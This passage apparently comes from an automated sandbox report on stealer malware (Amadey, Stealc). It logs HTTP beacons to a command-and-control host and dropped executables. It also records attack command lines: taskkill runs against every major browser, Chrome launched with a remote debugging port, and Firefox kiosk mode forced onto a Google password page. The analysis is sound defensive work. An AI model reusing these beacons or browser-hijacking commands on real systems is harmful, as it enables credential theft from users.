2024-10-31 22:39:12 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e2r9ha4uubptdi5rhel374u9ci; expires=Mon, 24-Feb-2025 16:25:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g2gnmAtRX9AdvKWGvuh%2FOLucmpLFC71NcehYmALcAsjYP6p6Ftdb13yt9sLF0cJ0Icj2A4ntnh542BH30VrJttjrkdk3sDbahoT0576M57t3RvD5ZZeqvKtm6%2FYi%2FHtwjHTiT9Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723c478266b23-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1189&sent=14&recv=37&lost=0&retrans=0&sent_bytes=2846&recv_bytes=30560&delivery_rate=2331723&cwnd=241&unsent_bytes=0&cid=38a90ae8a30e434c&ts=642&x=0"
2024-10-31 22:39:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:39:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	50138	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:39:13 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 22:39:13 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=1B3CE24BA149BC22D8DDEF3DF61EFD84
2024-10-31 22:39:13 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:39:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gp6ejpj5kcq9a29p2kn66878ej; expires=Mon, 24-Feb-2025 16:25:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mu39LUneWlalt72YAniJ6UtzcC98eDR3vpyfVdPgkRFWJWYcsrta0EkK7D%2BcusbH%2FNtEns9Tz4cMSIcrNuf73V0yozbdnU5wd%2BbWn%2B673BQSMn%2FGcaReCiqfAhWO7JIdIMuwMUw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723cc4fd62e22-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1492&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1943624&cwnd=251&unsent_bytes=0&cid=e329da4b4a2bf535&ts=332&x=0"
2024-10-31 22:39:13 UTC	214	IN	Data Raw: 64 30 0d 0a 64 71 53 78 34 4c 62 42 52 64 70 68 50 36 7a 6f 74 4d 56 77 57 49 71 46 48 4a 74 70 6c 54 45 37 59 66 33 57 67 55 34 39 67 71 77 74 33 35 4f 56 6c 50 74 6e 73 68 56 4c 33 4e 4c 6f 36 69 78 33 75 37 30 70 74 56 75 6b 42 42 56 51 7a 4f 57 76 66 77 76 65 67 78 6e 43 31 37 79 5a 70 53 43 38 54 31 72 55 6a 5a 62 70 55 6a 37 2b 70 79 61 72 52 62 64 55 47 56 76 4e 71 36 30 31 48 2f 65 4f 54 49 62 5a 6c 4d 4b 78 66 34 5a 4f 59 34 50 5a 6a 50 42 65 61 72 75 77 4d 71 70 59 70 68 38 4b 56 36 48 35 37 43 64 54 35 2f 42 5a 31 74 43 4f 30 71 34 6f 39 41 52 48 79 63 71 59 35 78 59 73 71 4c 38 73 74 30 76 77 45 77 46 52 67 49 73 3d 0d 0a Data Ascii: d0dqSx4LbBRdphP6zotMVwWIqFHJtplTE7Yf3WgU49gqwt35OVlPtnshVL3NLo6ix3u70ptVukBBVQzOWvfwvegxnC17yZpSC8T1rUjZbpUj7+pyarRbdUGVvNq601H/eOTIbZlMKxf4ZOY4PZjPBearuwMqpYph8KV6H57CdT5/BZ1tCO0q4o9ARHycqY5xYsqL8st0vwEwFRgIs=
2024-10-31 22:39:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	18:36:56
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4d0000
File size:	2'971'136 bytes
MD5 hash:	6F2957621E58F125944B38C36664A91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1752693002.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1733405478.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1750048641.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1732931707.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:37:17
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe"
Imagebase:	0x310000
File size:	2'812'416 bytes
MD5 hash:	938E6EEA0676862A7785713D09C42FDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:37:19
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe"
Imagebase:	0xbf0000
File size:	1'890'816 bytes
MD5 hash:	691894CFB2B4AC54F8B6864D71E1D508
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1937429779.0000000000BF1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1896839265.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:37:21
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x950000
File size:	1'890'816 bytes
MD5 hash:	691894CFB2B4AC54F8B6864D71E1D508
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1927335783.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1968679305.0000000000951000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:37:22
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x950000
File size:	1'890'816 bytes
MD5 hash:	691894CFB2B4AC54F8B6864D71E1D508
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.1972513678.0000000000951000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1932075554.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:38:00
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x950000
File size:	1'890'816 bytes
MD5 hash:	691894CFB2B4AC54F8B6864D71E1D508
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2303254931.0000000005230000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:38:09
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe"
Imagebase:	0x950000
File size:	2'971'136 bytes
MD5 hash:	6F2957621E58F125944B38C36664A91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2478367978.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2479725820.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2459632482.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2460257187.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2439738358.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2497496677.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2471582287.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2459091019.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2515306932.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2479021002.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2480450705.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2515170491.0000000000E42000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2514780676.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:38:15
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe"
Imagebase:	0x510000
File size:	2'118'656 bytes
MD5 hash:	0851A659097FB0251FF585C552F6673D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2458240806.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	18:38:20
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe"
Imagebase:	0x650000
File size:	919'552 bytes
MD5 hash:	32700F4360021133EDF61F31A569FD30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:38:20
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x1c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	18:38:20
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:38:24
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	18:38:24
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x1c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	18:38:24
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:38:24
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x1c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	18:38:24
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	18:38:25
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x1c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:38:25
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:38:25
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x1c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	18:38:25
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	18:38:25
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe"
Imagebase:	0x950000
File size:	2'971'136 bytes
MD5 hash:	6F2957621E58F125944B38C36664A91A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000003.2746572800.0000000001452000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	18:38:25
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003023001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003023001\num.exe"
Imagebase:	0x70000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000000.2547398458.000000000008E000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000000.2547351902.0000000000071000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	18:38:25
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	18:38:25
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	18:38:25
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	18:38:27
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2208 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {364d90de-5b25-42d0-9ada-d70c8cceaae4} 4320 "\\.\pipe\gecko-crash-server-pipe.4320" 214d9b6b510 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	18:38:30
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe"
Imagebase:	0xcb0000
File size:	2'971'136 bytes
MD5 hash:	6F2957621E58F125944B38C36664A91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	18:38:33
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe"
Imagebase:	0x510000
File size:	2'118'656 bytes
MD5 hash:	0851A659097FB0251FF585C552F6673D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000003.2658688178.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	18:38:33
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4016 -parentBuildID 20230927232528 -prefsHandle 4040 -prefMapHandle 4068 -prefsLen 26309 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b4678ca-e3d7-45c2-a7fb-fc7902151ff7} 4320 "\\.\pipe\gecko-crash-server-pipe.4320" 214ebd4e510 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	18:38:34
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe"
Imagebase:	0x7ff70f330000
File size:	2'971'136 bytes
MD5 hash:	6F2957621E58F125944B38C36664A91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000003.2758952452.0000000000643000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000003.2741125532.000000000064E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000003.2831341381.0000000000648000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000003.2740678466.0000000000644000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000003.2709096105.0000000000647000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000003.2771136281.0000000000644000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000003.2831462062.0000000000650000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	18:38:34
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7520 -s 1592
Imagebase:	0x40000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	18:38:42
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe"
Imagebase:	0x650000
File size:	919'552 bytes
MD5 hash:	32700F4360021133EDF61F31A569FD30
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	18:38:42
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x1c0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	18:38:42
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
